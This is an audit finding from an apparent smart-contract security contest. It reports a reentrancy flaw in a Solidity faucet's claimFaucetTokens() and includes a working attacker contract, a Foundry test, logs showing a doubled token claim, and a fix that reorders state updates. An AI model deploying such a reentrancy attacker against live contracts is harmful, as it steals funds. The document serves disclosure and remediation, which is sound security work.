Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() Allows Attackers to Bypass Cooldown and Double-Claim Tokens

Root + Impact

Description

Normal Behavior: The claimFaucetTokens() function should allow a user to claim faucet tokens once every 3 days, with proper enforcement of cooldown periods, daily claim limits, and balance checks. First-time claimers also receive Sepolia ETH for gas. All state updates should occur before any external calls to prevent manipulation.

Actual Issue: The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call (ETH transfer via .call{}) in the middle of execution, before updating critical state variables like lastClaimTime and dailyClaimCount. A malicious contract can exploit this by reentering claimFaucetTokens() during the ETH transfer callback, bypassing cooldowns, daily limits, and draining all faucet tokens in a single transaction.

https://github.com/CodeHawks-Contests/2025-10-raisebox-faucet/blob/main/src/RaiseBoxFaucet.sol#L161-L234

function claimFaucetTokens() public {
// ... checks ...
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... daily drip checks ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @audit External call BEFORE updating lastClaimTime and dailyClaimCount. Attacker's receive/fallback can reenter here
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Risk

Likelihood:

  • This vulnerability is triggered whenever a first-time claimer uses a malicious contract to claim tokens, which is a common attack vector in DeFi protocols

  • The attack requires no special conditions. It works immediately upon deployment as long as the faucet has ETH and tokens

  • Attackers can easily deploy malicious contracts with fallback/receive functions to exploit this, making exploitation trivial and guaranteed

Impact:

  • Complete Faucet Drainage: Attacker can drain all faucet tokens in a single transaction by recursively calling claimFaucetTokens() before state updates occur

  • Bypass All Security Controls: Cooldown period (CLAIM_COOLDOWN), daily claim limit (dailyClaimLimit), and per-user restrictions are completely bypassed.

Proof of Concept

The PoC demonstrates that an attacker can exploit the reentrancy vulnerability to receive 2000 tokens instead of the intended 1000 tokens in a single transaction by calling claimFaucetTokens() again during the ETH transfer callback, before lastClaimTime is updated. This bypasses the 3-day cooldown mechanism since the state variable remains zero during the reentrant call, allowing the attacker to double their token claims and steal funds that should have required waiting 3 days.

function testReentrancyAttackDrainsFaucet() public {
// Deploy malicious attacker contract
ReentrancyAttacker attacker = new ReentrancyAttacker(
payable(address(raiseBoxFaucet))
);
uint256 initialFaucetBalance = raiseBoxFaucet.getFaucetTotalSupply();
uint256 initialAttackerBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
console.log("=== INITIAL STATE ===");
console.log("Faucet Token Balance:", initialFaucetBalance / 1e18);
console.log("Attacker Token Balance:", initialAttackerBalance / 1e18);
console.log("Daily Claim Limit:", raiseBoxFaucet.dailyClaimLimit());
// Execute reentrancy attack
console.log("\n=== EXECUTING REENTRANCY ATTACK ===");
attacker.attack();
uint256 finalFaucetBalance = raiseBoxFaucet.getFaucetTotalSupply();
uint256 finalAttackerBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
uint256 tokensStolen = finalAttackerBalance - initialAttackerBalance;
console.log("\n=== FINAL STATE ===");
console.log("Faucet Token Balance:", finalFaucetBalance / 1e18);
console.log("Attacker Token Balance:", finalAttackerBalance / 1e18);
console.log("Tokens Stolen:", tokensStolen / 1e18);
console.log("Number of Reentrant Calls:", attacker.attackCount());
// Verify the exploit - attacker gets double tokens in one transaction
assertEq(
tokensStolen,
2000 * 10 ** 18,
"Attacker should steal 2000 tokens (double claim)"
);
assertEq(attacker.attackCount(), 1, "One reentrant call succeeds");
// Prove the vulnerability exists
console.log("\n=== VULNERABILITY CONFIRMED ===");
console.log(
"Expected tokens per claim:",
raiseBoxFaucet.faucetDrip() / 1e18
);
console.log("Actual tokens received:", tokensStolen / 1e18);
console.log(
"Extra tokens stolen:",
(tokensStolen - raiseBoxFaucet.faucetDrip()) / 1e18
);
console.log("\nThe attacker received DOUBLE tokens because:");
console.log("1. lastClaimTime is updated AFTER the ETH transfer");
console.log("2. During ETH transfer callback, attacker reenters");
console.log("3. Cooldown check passes (lastClaimTime still = 0)");
console.log("4. Attacker claims again before state is finalized");
}
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
bool public attacking;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
attacking = true;
faucet.claimFaucetTokens();
attacking = false;
}
receive() external payable {
// Only reenter once during the ETH transfer
if (attacking && attackCount == 0) {
attackCount++;
faucet.claimFaucetTokens();
}
}
}

Test Output:

Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancyAttackDrainsFaucet() (gas: 537030)
Logs:
=== INITIAL STATE ===
Faucet Token Balance: 1000000000
Attacker Token Balance: 0
Daily Claim Limit: 100
=== EXECUTING REENTRANCY ATTACK ===
=== FINAL STATE ===
Faucet Token Balance: 999998000
Attacker Token Balance: 2000
Tokens Stolen: 2000
Number of Reentrant Calls: 1
=== VULNERABILITY CONFIRMED ===
Expected tokens per claim: 1000
Actual tokens received: 2000
Extra tokens stolen: 1000

Recommended Mitigation

Move all state updates (lastClaimTime and dailyClaimCount) before the external ETH transfer call to follow the Checks-Effects-Interactions pattern and prevent reentrancy exploitation.

+ // Effects: Update state BEFORE any external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions: Handle ETH drip for first-time claimers
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions: Transfer tokens
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Additional Recommendation: Consider using OpenZeppelin's ReentrancyGuard for defense-in-depth

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.